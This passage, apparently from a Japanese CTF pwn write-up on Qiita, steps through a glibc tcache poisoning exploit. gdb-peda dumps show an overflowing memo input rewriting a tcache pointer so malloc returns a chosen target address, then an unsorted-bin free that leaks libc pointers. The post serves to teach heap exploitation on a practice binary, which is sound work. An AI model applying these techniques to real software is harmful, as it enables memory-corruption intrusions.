tcache_entryに 0x603280 がつながった

command?: 2
index?[0-9]: 0
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]

仮に0x604042がGOTとかで書き換えたいアドレスとする。
B@` = 0x604042

gdb-peda$ x/16xg 0x603260
0x603260:	0x4141414141414141	0x4141414141414141
0x603270:	0x4141414141414141	0x4141414141414141
0x603280:	0x0000000000604042	0x0000000000603010  <-- over flow
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x603280 --> 0x604042 (overlap chunk with 0x603270(freed) )

tcache_entry --> 0x603280 --> 0x604042

この状態で,2回mallocしたら,ターゲットである 0x604042 にヒープが作られる。

add(3.16)
RAX: 0x603280 --> 0x604042 --> 0x0 

gdb-peda$ x/16xg 0x603260
0x603260:	0x4141414141414141	0x4141414141414141
0x603270:	0x4141414141414141	0x4141414141414141
0x603280:	0x0000000000604042	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](0): 0x604042
add(4.16)
RAX: 0x604042 --> 0x0 

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](255): 0

unsortbinにつなげる

add(0.16)
add(1.1040)
add(2.16)
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6036b0 (size : 0x20950) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
del(1)
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x00007ffff7dcdca0	0x00007ffff7dcdca0
0x603290:	0x0000000000000000	0x0000000000000000

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6036b0 (size : 0x20950) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x603270 (size : 0x420)

unsortbinにつながるのは 0x603280 と思ってたけど 0x603270 になってる。
変だな?

作問者writeup

ここから問題のバイナリをダウンロードできます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?